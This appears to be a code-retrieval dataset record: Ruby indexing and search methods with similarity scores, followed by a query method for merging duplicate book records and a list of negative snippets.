"def do_index\n @citation = Footnote.new\n @citations = @chapter.citations.includes(:biblioentry).order('biblioentries.name')\n @noted = @chapter\n @biblioentries = @citations.collect { |x| x.biblioentry }.sort.uniq\n all_citations = Footnote.includes(:biblioentry).where(slug: '').order('biblioentries.name')\n @all_citations = []\n all_citations.each do |citation|\n unless @all_citations.include?(citation.biblioentry) || @biblioentries.include?(citation.biblioentry)\n @all_citations << citation.biblioentry\n end\n end\n end",
"def indexes\n raise 'not implemented'\n end",
"def author_year_index\n @author_year_index ||= generate_author_year_index\n end",
"def definition(table_name)\n\n if unique?\n \" add_index :#{table_name}, #{index_columns}, :unique => true\"\n else\n \" add_index :#{table_name}, #{index_columns}\"\n end\n end",
"def require_index(name); end",
"def require_index(name); end",
"def index_finalized\n index\n end",
"def index_type\n name\n end",
"def build_xapian_index()\n models = [Request, Response]\n if ! $existing_db\n ActsAsXapian::WriteableIndex.rebuild_index(models, verbose=false)\n $existing_db = true\n end\n end",
"def to_indexed_json\n to_json( \n #:only => [ :id, :name, :normalized_name, :url ],\n :methods => [:image_url, :initiator_name, :assigned_user_name,:title, :notable_type_data, :notable_type_title]\n )\n end",
"def index\n @authors, @alphaParams = Author.paginate(:page => params[:page]).alpha_paginate(params[:letter], {db_mode: true, db_field: \"name\",default_field:'a', js: false})\n @pageTitle = \"Quotes by famous authors | QuoteEstate\"\n end",
"def index activity\n default_fields = {\n \"user_id\" => activity.actor.id,\n \"action\" => activity.verb,\n \"published_date\" => activity.published,\n \"indexed_date\" => Time.new.strftime(\"%Y-%m-%dT%H:%M:%S\")\n }\n extended_fields = activity.extensions || {}\n @es_client.index index:'stream-sample',\n type: activity.object.type,\n body: default_fields.merge extended_fields\n end",
"def index(model)\n model.index\n ElasticMapper.index.refresh\nend",
"def index_keywords!\n all.each { |d| d.index_keywords! }\n end",
"def index_template\n :index\n end",
"def index_template\n :index\n end",
"def create_indexes\n indexes = %w{ Page(page_id) Trait(eol_pk) Trait(resource_pk) Term(uri) Term(name)\n Resource(resource_id) MetaData(eol_pk)}\n indexes.each do |index|\n begin\n query(\"CREATE INDEX ON :#{index};\")\n rescue Neography::NeographyError => e\n if e.to_s =~ /already created/\n puts \"Already have an index on #{index}, skipping.\"\n else\n raise e\n end\n end\n end\n end",
"def index\n @search = Order.search do\n # fulltext '\"84CYd601Dh0slEeJ ankur saini\"' do\n # with(:average_rating, 3..5)\n # field_list [:tracker_hash,:system_id]\n fulltext(params[:search])\n facet(:average_rating) do\n row(1.0..2.0) do\n with(:average_rating, 1.0..2.0)\n end\n row(2.0..3.0) do\n with(:average_rating, 2.0..3.0)\n end\n row(3.0..4.0) do\n with(:average_rating, 3.0..4.0)\n end\n row(4.0..5.0) do\n with(:average_rating, 4.0..5.0)\n end\n end\n # fulltext params[:search] do\n # boost_fields :system_id => 2.0\n # boost(2.0) { with(:response, true) }\n # fields(:tracker_hash)\n # fields(:system_id, :tracker_hash => 2.0)\n # query_phrase_slop 1\n # end\n # with(:published_at).less_than(Time.zone.now)\n # facet(:publish_month)\n # with(:publish_month, params[:month]) if params[:month].present?\n # with(:response, false)\n\n end\n # @orders = @search.results\n ids = @search.hits.map(&:primary_key)\n # debugger\n if ids.present?\n @orders = Order.where(:id => ids).order(\"field(id, #{ids.join(',')})\").paginate(page: params[:page], per_page: 4)\n else\n @orders = Order.where(:id => ids).paginate(page: params[:page], per_page: 4)\n end\n end",
"def after_create(model)\n update_search_index model, :index\n end",
"def test_keyword_index_builder\n CEdictImporter.create_headword_index\n end",
"def create_facets(solr_doc)\n\n index_names_info(solr_doc)\n index_subject_info(solr_doc)\n index_date_info(solr_doc)\n index_pub_date(solr_doc)\n index_format_info(solr_doc)\n\n #index_unstemmed_values(solr_doc)\n index_deposit_method(solr_doc)\n end",
"def index\n @limit = params[:limit] || 200\n @page = params[:page] || 1\n \n @publications = Publication.active\n\n if params[:themes]\n #@publications = @publications.where(:themes => )\n end\n\n if valid? :keyword\n sql = Keyword.subquery(params[:keyword].split(/\\s+/))\n #@publications = @publications.where(\"#{Publication.table_name}.citation_id IN (#{sql})\")\n##{Publication.table_name}.citation_id IN (#{sql}) \n params[:keyword].split(/\\s+/).each do |word|\n @publications = @publications.where(\n \"lower(keywords) like ? OR lower(authors) LIKE ? OR lower(title) LIKE ?\", \"%#{word.downcase}%\", \"%#{word.downcase}%\", \"%#{word.downcase}%\")\n end\n end\n\n if valid? :themes\n sql = Keyword.theme_subquery(params[:themes])\n @publications = @publications.where(\"#{Publication.table_name}.citation_id IN (#{sql})\")\n end\n\n quads = params[:quadrangles].map {|v| v.empty? ? nil : v }.compact if params[:quadrangles]\n unless quads.nil? or quads.empty?\n sql = QuadrangleSearch.subquery(:all, params[:quadrangles])\n @publications = @publications.where(\"#{Publication.table_name}.citation_id IN (#{sql})\")\n end\n\n unless params[:agency].nil? or params[:agency].empty?\n @publications = @publications.where(\"LOWER(#{Publication.table_name}.publisher) = ?\", params[:agency].downcase)\n end\n\n unless params[:year_from].nil? or params[:year_from].empty?\n @publications = @publications.where(\"publication_year >= ?\", params[:year_from])\n end\n\n unless params[:year_to].nil? or params[:year_to].empty?\n @publications = @publications.where(\"publication_year <= ?\", params[:year_to])\n end\n\n if valid? :scale_from\n @publications = @publications.where(\"#{Outline.table_name}.map_scale_denominator >= ?\", params[:scale_from].to_i)\n end\n if valid? :scale_to\n @publications = @publications.where(\"#{Outline.table_name}.map_scale_denominator <= ?\", params[:scale_to].to_i)\n end\n\n unless (valid? :statewide and params[:statewide] == 'on')\n logger.info \"Include statewide\"\n @publications = @publications.where(\"#{Outline.table_name}.outline_source IN (?)\", ['Map Extent', 'Map Outline'])\n end\n\n unless params[:aoi_geographic].blank?\n @aoi_geographic = GeoRuby::SimpleFeatures::Polygon.from_ewkt(params[:aoi_geographic])\n @aoi_geographic.srid = 4326;\n @bounds = @aoi_geographic.envelope\n end\n\n unless params[:aoi].blank?\n @aoi = GeoRuby::SimpleFeatures::Polygon.from_ewkt(params[:aoi])\n @aoi.srid = 3338;\n\n @publications = @publications.where(\n \"SDO_RELATE(#{Outline.table_name}.geometry, #{@aoi.as_sdo_rectangle}, 'mask=ANYINTERACT querytype = WINDOW') = 'TRUE'\"\n )\n end\n\n @selected = params[:selected].split(',').map(&:to_i) unless params[:selected].blank?\n if @selected and params[:selected_only]\n @publications = @publications.where(:citation_id => @selected)\n end\n \n unless params[:sort].blank?\n @publications = @publications.order(\"#{params[:sort]} #{params[:dir]}\")\n end\n\n respond_to do |format|\n format.pdf do\n render :pdf => 'publications', \n :layout => 'pdf.html', \n :footer => {\n :left => \"Generated: #{Time.now.strftime('%F %T')}\", \n :right => '[page]/[toPage]',\n :line => true\n }\n end\n format.all do\n @publications = @publications.paginate(:page => @page, :per_page => @limit)\n end\n end\n end",
"def build_index\n @search = RSemantic::Search.new(@documents.map(&:text), @options)\n end",
"def solr_during_indexing\n {\n \"has_model_ssim\" => [\"Collection\"],\n :id => object.id,\n \"title_tesim\" => [object.title.first.to_s],\n \"title_sim\" => [object.title.first.to_s],\n \"collection_type_gid_ssim\" => [object.collection_type_gid],\n \"ark_ssi\" => object.ark,\n \"ursus_id_ssi\" => Californica::IdGenerator.blacklight_id_from_ark(object.ark),\n \"member_ids_ssim\" => [],\n \"object_ids_ssim\" => [],\n \"member_of_collection_ids_ssim\" => [], \"collection_ids_ssim\" => [],\n \"generic_type_sim\" => [\"Collection\"],\n \"bytes_lts\" => 0,\n \"visibility_ssi\" => \"restricted\"\n }\n end",
"def index\n @sortable = Sortable.new\n @sortables = Sortable.all\n @column = Column.new\n @columns = Column.all\n end",
"def biodiversity_index(specimens)\n #\n # your code goes here\n #\nend",
"def index\n @title = @title + \" : Portfolio\"\n @meta_description = @title\n @portfolio_entries.each do |portfolio_entry| \n @meta_keywords = @meta_keywords + \", \" + portfolio_entry.name\n end \n end",
"def indexes(table_name, name = nil)\n opclasses\n result = select_rows(<<-SQL, name)\n SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid\n FROM pg_class t\n INNER JOIN pg_index d ON t.oid = d.indrelid\n INNER JOIN pg_class i ON d.indexrelid = i.oid\n WHERE i.relkind = 'i'\n AND d.indisprimary = 'f'\n AND t.relname = '#{table_name}'\n AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )\n ORDER BY i.relname\n SQL\n result.map do |row|\n index_name = row[0]\n unique = row[1] == 't'\n indkey = row[2].split(\" \")\n inddef = row[3]\n oid = row[4]\n\n columns = Hash[select_rows(<<-SQL, \"Columns for index #{row[0]} on #{table_name}\")]\n SELECT a.attnum::text, a.attname\n FROM pg_attribute a\n WHERE a.attrelid = #{oid}\n AND a.attnum IN (#{indkey.join(\",\")})\n SQL\n column_names = columns.values_at(*indkey).compact\n\n # add info on sort order for columns (only desc order is explicitly specified, asc is the default)\n desc_order_columns = inddef.scan(/(\\w+) DESC/).flatten\n orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}\n #changed from rails 3.2\n where = inddef.scan(/WHERE (.+)$/).flatten[0]\n index_type = inddef.scan(/USING (.+?) /).flatten[0].to_sym\n if index_type\n index_op = inddef.scan(/USING .+? \\(.+? (#{opclasses.join('|')})\\)/).flatten\n index_op = index_op[0].to_sym if index_op.present?\n end\n if column_names.present?\n index_def = IndexDefinition.new(table_name, index_name, unique, column_names, [], orders)\n index_def.where = where\n index_def.index_type = index_type if index_type && index_type != :btree\n index_def.index_opclass = index_op if index_type && index_type != :btree && index_op\n index_def\n # else nil\n end\n #/changed\n end.compact\n end",
"def compress_index_name(name)\n method_index = 0\n new_name = name\n while new_name.length > 63 && method_index >= 0\n # ap \"[#{method_index}] #{new_name}\"\n case method_index\n when 0\n # change polymorphic index to just name\n table_part, column_part = new_name.split('_on_')\n columns = column_part.split('_and_')\n polys = columns.select{|e| e.include?('_type') && columns.include?(e.sub('_type','_id')) }\n if polys.any?\n polys.each do |poly|\n poly = poly.split('_').first\n columns[columns.index(\"#{poly}_type\")] = poly\n columns.delete(\"#{poly}_id\")\n end\n new_name = \"#{table_part}_on_#{columns.join(\"_and_\")}\"\n end\n method_index += 1\n when 1\n # change index to idx\n new_name = name.sub(\"index_\",\"ix_\")\n method_index += 1\n when 2\n # remove common strings from column names\n column_part = new_name.split('_on_').last\n columns = column_part.split('_and_')\n if columns.size > 1 && (common_str = longest_common_substr(columns))\n common_str = common_str.sub(/_at|_id/,'')\n if common_str.size > 2\n ap \"common_str: #{common_str}\"\n new_name = new_name.gsub(common_str, '')\n end\n end\n method_index += 1\n when 3\n # remove the leading parts of the table name\n table_name = new_name.match(/ix_(.*)_on.*/)[1]\n parts = table_name.split('_')\n if parts.size > 1\n parts.shift\n new_table_name = parts.join('_')\n new_name = new_name.sub(\"ix_#{table_name}_on\",\"ix_#{new_table_name}_on\")\n else\n method_index += 1\n end\n when 4\n # hash the columns used in the index\n columns = new_name.split('_on_').last\n hash = Digest::MD5.base64digest(columns)[0..-3]\n new_name = new_name.sub(columns, hash) \n method_index += 1\n when 5\n # change table name to hash\n table_name = new_name.match(/ix_(.*)_on.*/)[1]\n hash = Digest::MD5.base64digest(table_name)[0..-3]\n if table_name.size > hash.size\n new_name = new_name.sub(table_name, hash)\n end\n method_index += 1\n else\n method_index = -99\n end\n end\n new_name\n end",
"def to_indexed_json\n {\n :id => id,\n :name => name,\n :summary => summary,\n :published => self.pubDate,\n :author => author,\n :feed_id => feed_id\n }.to_json\n end",
"def index\n @authors = Author.all\n\n map = %Q{\n function() {\n if (this.author_id) {\n emit(this.author_id, { pages: this.pages });\n }\n }\n }\n\n reduce = %Q{\n function(key, values) {\n var result = { books: 0, pages: 0 };\n values.forEach(function(value) {\n result.books += 1;\n result.pages += value.pages;\n });\n return result;\n }\n }\n\n @author_data = {}\n Book.map_reduce(map, reduce).out(inline: true).find().to_a. each do |author|\n @author_data[author[\"_id\"]] = author[\"value\"]\n end\n end",
"def index\n @sortable = SortIndex::Sortable.new(params, INDEX_SORT)\n @assets = Asset.find(:all, :order => (params[:sort_by] || \"TRIM(LOWER(tag))\") + \" \" + (params[:sort_direction] || \"asc\"))\n # @assets.sort! {|x,y| x.tag.to_i <=> y.tag.to_i }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assets }\n end\n end",
"def index\n #@contracts = Contract.all.order(sort_column + \" \" + sort_name).uniq{|contract| contract.name}\n @contracts = Contract.all.order(sort_column + \" \" + sort_name).uniq{|contract| contract.name}\n end",
"def index\n @get_banners ||= Banner.where(published: true)\n @featured_articles ||= Article.limit(3).where(published: true)\n @our_clients ||= TrustCompany.all.order('RANDOM()').limit(15)\n\n @portfolios ||= Portfolio::Portfolio.where(published: true).order('release desc').limit(12)\n\n\n end",
"def index=(_arg0); end",
"def index_keywords!\n update_attribute(:_keywords, set_keywords)\n end",
"def index_definition_sql(table_name, index)\n index_name = index[:name] || default_index_name(table_name, index[:columns])\n if index[:type]\n raise Error, \"Index types are not supported for this database\"\n elsif index[:where]\n raise Error, \"Partial indexes are not supported for this database\"\n else\n \"CREATE #{'UNIQUE ' if index[:unique]}INDEX #{index_name} ON #{quote_identifier(table_name)} #{literal(index[:columns])}\"\n end\n end",
"def index_definition_sql(table_name, index)\n index_name = index[:name] || default_index_name(table_name, index[:columns])\n if index[:type]\n raise Error, \"Index types are not supported for this database\"\n elsif index[:where]\n raise Error, \"Partial indexes are not supported for this database\"\n else\n \"CREATE #{'UNIQUE ' if index[:unique]}INDEX #{quote_identifier(index_name)} ON #{quote_identifier(table_name)} #{literal(index[:columns])}\"\n end\n end",
"def to_indexed_json\n json = {\n :title => title,\n :name => name,\n :name_sort => name,\n :content => content,\n :summary => summary,\n :topics => topics.collect { |t| t.name },\n :creators => creators.collect { |c| c.name },\n :items => items.collect { |i| i.url },\n \n :format_facet => items.collect { |i| i.item_type},\n :world_maritime_university_program_facet => programs,\n :creator_nationality_facet => creator_countries,\n \n }\n json[:date] = date if date\n json.to_json\n end",
"def index_by_name(table_name, index_name)\n index_record = data_dictionary.index_by_name(table_name, index_name)\n\n index_space = space(index_record[\"SPACE\"])\n describer = data_dictionary.record_describer_by_index_name(table_name, index_name)\n index_space.index(index_record[\"PAGE_NO\"], describer)\n end",
"def create_indexes\n source_attributes = self.base_class.attributes\n self.indexes.each do |name, index|\n opts = {:table_name => index.table_name, :id => :id}\n if index.range_key?\n if index.range_keys.select{|v| !source_attributes[v].nil? && source_attributes[v][:type] == :string}.any?\n opts[:range_key] = { :range => :string }\n else\n opts[:range_key] = { :range => :number }\n end\n else\n opts[:range_key] = nil\n end\n self.create_table(opts)\n end\n end"
] |
[
"0.68388724",
"0.6548044",
"0.64630425",
"0.6386257",
"0.6312421",
"0.6275402",
"0.6187312",
"0.6129667",
"0.6124606",
"0.6118035",
"0.60640305",
"0.6046897",
"0.5980893",
"0.59472406",
"0.5920126",
"0.591511",
"0.59096086",
"0.59034294",
"0.5903094",
"0.58993506",
"0.5894907",
"0.5881771",
"0.587314",
"0.5813213",
"0.57877815",
"0.5784065",
"0.5774905",
"0.57583666",
"0.57453346",
"0.57269543",
"0.57191384",
"0.57191384",
"0.5713768",
"0.57022744",
"0.5681954",
"0.5677393",
"0.56683767",
"0.56627256",
"0.56620157",
"0.56563437",
"0.5653085",
"0.5635637",
"0.5635617",
"0.56266665",
"0.56160223",
"0.56059986",
"0.56039673",
"0.56018084",
"0.56018084",
"0.56013316",
"0.55935365",
"0.55883336",
"0.55876",
"0.55833626",
"0.55789524",
"0.55698806",
"0.55694723",
"0.55592775",
"0.555664",
"0.5553678",
"0.55462533",
"0.552915",
"0.55239683",
"0.5514308",
"0.55044186",
"0.55044186",
"0.54993695",
"0.54979146",
"0.5497559",
"0.54930013",
"0.5492153",
"0.5492024",
"0.54891485",
"0.54842824",
"0.54831463",
"0.54831463",
"0.54822963",
"0.5475602",
"0.5470169",
"0.5467743",
"0.5466158",
"0.5462716",
"0.5461563",
"0.5458787",
"0.54587394",
"0.54479617",
"0.5438161",
"0.5436095",
"0.54342026",
"0.5432223",
"0.5428156",
"0.5425957",
"0.5423861",
"0.5423232",
"0.5422176",
"0.54164857",
"0.5413449",
"0.54101294",
"0.54073054",
"0.54052496",
"0.54019755"
] |
0.0
|
-1
|
merge b into self if they are identical return true if done, false if not possible because books differ
|
def merge(b)
return false unless self.same_book?(b)
self.merge!(b)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge!(b)\n b.items.each do |i|\n self.items << i\n self.save!\n end\n AttributesForMerging.each do |k|\n if (self[k].nil? || self[k].empty?) && !(b[k].nil? || b[k].empty?)\n self[k]=b[k]\n end\n end\n self.save!\n b.destroy\n true\n end",
"def will_merge_change_hash?(a,b)\n !(a.merge(b) == a)\n end",
"def merge(authors_books, upvoted_books)\n res = ([upvoted_books & authors_books] + upvoted_books + authors_books)\n res.flatten.uniq\n end",
"def merged?\n @merged\n end",
"def not_a_duplicate\n book = Book.find_by(title: title, author: author)\n if !!book && book != self\n errors.add(:book, 'is already in the book index.')\n end\n end",
"def merged?\n RDoc::Markup::Document === @parts.first\n end",
"def merged?\n !!merge_ticket_id\n end",
"def checkout(b)\n\t\[email protected] do |book|\n\t\tbook.checked_out = true if book.title == b\n\tend\nend",
"def ==(other)\n other.book_id == book_id && other.author_id == author_id\n end",
"def merge?\n parents.size > 1\n end",
"def documents_equal?(a, b)\n normalize_document(a) == normalize_document(b)\n end",
"def ==(b)\n return true if self.equal? b\n return false if b.nil?\n return false unless b.class.equal? self.class\n return false unless same_length? b\n zip_bytes(b) { |i, j| return false if i != j }\n true\n end",
"def perform_merge\n src_notes = @src.all_notes\n dest_notes = @dest.all_notes\n result = false\n\n # Mergeable if there are no fields which are non-blank in\n # both descriptions.\n if @src.class.all_note_fields.none? \\\n { |f| src_notes[f].present? && dest_notes[f].present? }\n result = true\n\n # Copy over all non-blank descriptive fields.\n src_notes.each do |f, val|\n @dest.send(\"#{f}=\", val) if val.present?\n end\n\n # Save changes to destination.\n @dest.save\n\n # Copy over authors and editors.\n @src.authors.each { |user| @dest.add_author(user) }\n @src.editors.each { |user| @dest.add_editor(user) }\n\n # Delete old description if requested.\n delete_src_description_and_update_parent if @delete_after\n end\n\n result\n end",
"def bt_same_snapshot?(other)\n bt_snapshot_attributes == other.bt_snapshot_attributes\n end",
"def duplicate_batch?(previous_batch)\n return false if previous_batch.nil?\n \n previous_batch.sf_integrity_hash == integrity_hash\n end",
"def borrow\n # This instance method is how a book is taken out of the library. Otherwise, use current_due_date to set the due_date of the book and move it from the collection of available books to the collection of books on loan, then return true.\n # This method should use lent_out? to check if the book is already on loan,\n if self.lent_out? == false\n @@due_date = Book.current_due_date\n @@on_shelf.delete(self)\n @@on_loan << self\n return true\n else\n return false\n end\n\n end",
"def merge_commit?\n !squash?\n end",
"def areSimilar(a, b)\n return true if a == b\n\n if a.sort == b.sort\n temp_array = a\n counter = 0\n (0...a.length).each do |i|\n if (a[i] != b[i]) && (counter < 2)\n temp_array[i] = b[i]\n counter += 1\n end\n end\n return true if temp_array == b\n end\n\n return false\n\nend",
"def eql?(outro_livro)\n\t \t@isbn == outro_livro.isbn\n\t end",
"def check_out(book)\n if @checked_books.count < 3\n @checked_books.add book\n true\n else\n \"Could not add book id: #{book.get_id}, max no of books (3) reached.\"\n false\n end\n end",
"def union(b)\n @pages.update b.pages\n self\n end",
"def dupes?(a, b)\n a.uniq.size != a.size || b.uniq.size != b.size || (a & b).any?\n end",
"def is_book_exist_in_library?(target_book_id)\n\t\[email protected] do |book|\n\t\t\tif book.book_id == target_book_id.to_i then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"def is_false_duplicate?\n payment_complete? && has_completed_duplicates?\n end",
"def one_away?(a, b)\n if(abs(a.length - b.length) > 1)\n false\n #replacement?\n elsif(a.length == b.length)\n if(a == b)\n true\n else\n one_operation?(a, b, :setbyte)\n end\n #insertion or deletion\n else\n if(a.length > b.length)\n one_operation?(a, b, :insert)\n else\n one_operation?(b, a, :insert)\n end\n end\n end",
"def add_to_listbooks\n self.isbn.each do |isbn|\n book = Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n self.pinned_isbn.each do |isbn|\n book = Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n\n self.listbooks.uniq!\n end",
"def borrow_books(*books)\n\t\tbooks.each do |book|\n\t\t\tif self.books.include?(book)\n\t\t\t\tputs \"#{self.name} has already checked this book out!\"\n\t\t\telse\n\t\t\t\tself.books << book\n\t\t\tend\n\t\tend\n\tend",
"def same_bsts(array_one, array_two)\n return false if array_one.length != array_two.length\n\n return true if array_one.empty? && array_two.empty?\n\n return false if array_one[0] != array_two[0]\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two)\n return same_bsts(right_one, right_two)\nend",
"def duplicate?\n\t\tother = Ng2::WordDetail.find(@word).last\n\t\t!other.nil? &&\n\t\tother.file_path == self.file_path &&\n\t\tother.line_no == self.line_no &&\n\t\tother.word_no == self.word_no\n\tend",
"def check_duplicate_bread_name_one_store(bread_name_in, bread_id_in = nil)\n bread_store = current_bread_store_manager.bread_store\n if bread_store.nil?\n return true\n end\n breads = bread_store.breads\n if breads.empty?\n return true\n end\n breads.each do |bread|\n if bread.id != bread_id_in and bread.name == bread_name_in\n return false\n end\n end\n return true\n end",
"def make_sure_no_duplicate_offers\n other_offer = self.sender.active_offer_between_user_for_textbook(self.reciever_id, self.textbook_id)\n\n if other_offer.nil?\n if self.listing.nil?\n\t if self.selling?\n self.errors.add(:reciever_id, \"You don't have a current listing 'For Sale' for this book. You must post a listing before sending an offer to sell your book.\")\n\t else\n self.errors.add(:reciever_id, \"#{self.reciever.username} doesn't have a current listing 'For Sale' for this book.\")\n\t end\n\n return false\n\tend\n \n return true\n end\n\n if self.reciever_id == other_offer.reciever_id\n self.errors.add(:reciever_id, \"You already sent #{self.reciever.username} an offer for this book. You can check your offers sent by navigating to the 'Offers' page in the upper-left links then clicking 'View sent offers here'. (note: once a user rejects (not counter offers) your offer for a particular book, you may only respond to their offers)\")\n return false\n elsif other_offer.selling? != self.selling?\n other_offer.update_status(2)\n return true\n else\n self.errors.add(:reciever_id, \"#{self.reciever.username}'s removed their listing for this book!\")\n end\n end",
"def merge_if_exists!\n t = merge_if_exists || self\n t.save!\n end",
"def merge a, b\n if a.length + b.length <= 1 then return a.concat(b) end\n # Make sure both sections have stable state within section\n a = asteroids(a)\n b = asteroids(b)\n\n # Now check what happens when they are placed next to each other.\n winner = wins(a, b)\n case winner\n when'neither'\n merge(a.slice(0, a.length - 1), b.slice(1..)) # Both asteroids at touch point are lost\n when 'left'\n merge(a, b.slice(1..)) # Left asteroid at touch point wins\n when 'right'\n merge(a.slice(0, a.length - 1), b) # Right asteroids at touch point wins\n else\n a.concat(b) # These sections are stable next to each other\n end\nend",
"def mergeable?(hash_a, hash_b)\n\n hash_a.each do |key, value_a|\n #TODO: one day maybe just use symbols for all keys?\n if hash_b.has_key?(key.to_sym) || hash_b.has_key?(key.to_s)\n value_b = hash_b[key]\n if value_a.is_a?(Hash) && value_b.is_a?(Hash)\n return false if !mergeable?(value_a, value_b)\n else\n return false\n end\n end\n end\n true\n end",
"def all a,b\n a.prove {\n stands = false; \n b.prove { stands = true; break } \n return if not stands\n }\n yield\n end",
"def merge_version?\n !!@merge_version\n end",
"def overwrite?\n @overwrite || (force && !branch_merge)\n end",
"def eql?(ha)\n return false if self.length != ha.length\n return true if (0...self.length).all? { |i| self.fetch(i).eql?(ha.fetch(i)) }\n return false\n end",
"def merge!(other); end",
"def can_be_merged?(array)\n array.combination(2).any? { |a, b|\n a[0].keys.select { |a_header| b[0].keys.include?(a_header) }.first if a.present? && b.present?\n }\n end",
"def union_compatible?(other)\n header == other.header\n end",
"def one_edit?(s1, s2)\n if s1.size == s2.size\n one_edit_replace?(s1, s2)\n elsif s1.size + 1 == s2.size\n one_edit_insert?(s2, s1)\n elsif s1.size - 1 == s2.size\n one_edit_insert?(s1, s2)\n else\n false\n end\nend",
"def subseteq?(b)\n (b & self).uniq.sort == self.uniq.sort\n end",
"def same?(other)\n bag == other.bag && path == other.path\n end",
"def dirty?\n result = false\n if @original_movie.nil?\n result = true\n else\n @movie.each do |key, value|\n if @original_movie[key].nil?\n result = true\n break\n end\n if @movie[key].to_s != @original_movie[key].to_s\n result = true\n break\n end\n end\n unless result\n diff_keys = @movie.keys.sort - @original_movie.keys.sort\n unless diff_keys.empty?\n result = true\n end\n end\n end\n result\n end",
"def share_sub(a,b)\n a_dict = Set.new a.chars\n b.chars.each do |c|\n if a_dict.include?(c) then\n return true\n end\n end\n false\nend",
"def collapsing?\n self.begin(0) == self.end(0)\n end",
"def merge(other); end",
"def ==(x)\n if @bib_hash == x.bib_hash\n if @date_added == x.date_added and \n @date_modified == x.date_modified\n return true\n else\n end\n else\n STDERR.puts \"<#{citekey}> Bib_Hash Mismatch: #{bib_hash} #{x.bib_hash}\"\n return false\n end\n\n false\n end",
"def duplications?\n size != uniq.size \n end",
"def source_record_authorship_dedup?(pub)\n status = false\n src_records = pub.user_submitted_source_records\n @logger.info \"Publication #{pub[:id]}: #{src_records.length} user src records\"\n src_records.each do |src|\n src_hash = JSON.parse(src.source_data)\n src_authorship = src_hash['authorship']\n @logger.info \"Publication #{pub[:id]}: src_authorship: #{JSON.dump(src_authorship)}\"\n next unless src_authorship.length > 1\n\n src_authorship_ids = src_authorship.pluck('cap_profile_id')\n src_authorship_set = src_authorship_ids.to_set\n next unless src_authorship_set.length != src_authorship_ids.length\n\n @logger.error \"Publication #{pub[:id]}: src_authorship duplicate\"\n status = true\n # require 'pry'; binding.pry\n # modify src authorship and recalculate fingerprint?\n # src.source_fingerprint\n end\n status\n end",
"def sameStruct(ofact,consider_sub=true)\n return false if tags.length != ofact.tags.length\n if consider_sub\n tags.each do |k,v|\n if ofact.tags.keys.include?(k) and ofact.tags[k].length == v.length\n tmp = ofact.tags[k].dup\n success = []\n (0...v.length).each do |i|\n #puts \"checking for #{v[i][:subclass]} => #{v[i][:subval] if v[i][:subval]}\" if false\n success.push(false)\n (0...tmp.length).each do |j|\n if v[i][:subclass] == tmp[j][:subclass]\n #puts \"match found for #{tmp[j][:subclass]} => #{tmp[j][:subval] if tmp[j][:subval]}\" if false\n tmp.delete_at(j)\n success[-1] = true #problem here, just gets reset\n break\n end\n end\n end\n return false if not success.all? { |s| s } or tmp.length > 0 #matches found for all tags in this tag on the other fact, but also need to test that there are no more additional tags in the other fact\n else\n return false\n end\n end\n else #if we are not considering subtags\n tags.each do |k,v|\n unless ofact.tags.keys.include?(k) and ofact.tags[k].length == v.length\n return false\n end\n end\n end\n return true #passed all filters\n end",
"def one_edit_insert(s1, s2) # s1 = pale, s2 = bae\n index1 = 0\n index2 = 0\n\n while index2 < s2.length && index1 < s1.length\n if s1[index1] != s2[index2]\n if index1 != index2\n return false\n end\n\n index2 += 1\n else\n index1 += 1\n index2 += 1\n end\n end\n\n return true\nend",
"def return(book)\n @checked_books.delete?(book)\n end",
"def journal?\n copies.any?(&:journal?)\n end",
"def duplicate_listing?(other_listing)\n return true if self.seller_id == other_listing.seller_id && \n self.card_id == other_listing.card_id && \n self.price == other_listing.price &&\n self.condition == other_listing.condition &&\n self.language == other_listing.language &&\n self.foil == other_listing.foil &&\n self.misprint == other_listing.misprint &&\n self.altart == other_listing.altart && \n self.signed == other_listing.signed &&\n self.description == other_listing.description &&\n self.playset == other_listing.playset && \n (not self.scan.present?) &&\n (not other_listing.scan.present?)\n return false\n end",
"def merge(m, a, b)\n loop do\n return m + a if b.empty?\n return m + b if a.empty?\n if a[0] < b[0]\n m << a.first\n a.delete_at(0)\n else\n m << b.first\n b.delete_at(0)\n end\n end\nend",
"def eql?(o)\n return (o.is_a? Document and (o.boost == @boost) and\n (self.keys == o.keys) and (self.values == o.values))\n end",
"def updateBookCopies(book_name)\n @books.each do |book|\n if book.title == book_name\n then\n book.copies_available -= 1\n puts \"BOOK DETAILS:\"\n puts \"------------------------------------------\"\n puts \"ID: \" + book.id.to_s\n puts \"Name: \" + book.title\n puts \"Author: \" + book.author\n puts \"Publication: \" + book.publication\n puts \"Publication Year: \" + book.year.to_s\n puts \"Rack Number: \" + book.rack_no.to_s\n puts \"Total Copies: \" + book.total_copies.to_s\n puts \"Copies Available: \" + book.copies_available.to_s\n puts \"------------------------------------------\"\n end\n end\n end",
"def duplicate_authorship?(pub)\n authorship = pub.pub_hash[:authorship]\n if authorship.length > 1\n authorship_ids = authorship.pluck(:cap_profile_id)\n authorship_set = authorship_ids.to_set\n if authorship_set.length != authorship_ids.length\n @logger.warn \"Publication #{pub[:id]} should be modified\"\n @logger.warn \"Publication #{pub[:id]} created_at #{pub[:created_at]}\"\n @logger.warn \"Publication #{pub[:id]} updated_at #{pub[:updated_at]}\"\n @logger.warn \"Publication #{pub[:id]} provenance: #{pub.pub_hash[:provenance]}\"\n @logger.warn \"Publication #{pub[:id]} authorship: #{JSON.dump(authorship)}\"\n # Preliminary analysis indicated that all duplicate authorship\n # records did NOT have any duplicates in the source records.\n # source_record_authorship_dedup?(pub)\n return true\n end\n end\n false\n rescue StandardError => e\n msg = \"Problem with publication: #{pub[:id]}\\n\"\n msg += \"#{e.inspect}\\n\"\n msg += e.backtrace.join(\"\\n\")\n @logger.error msg\n end",
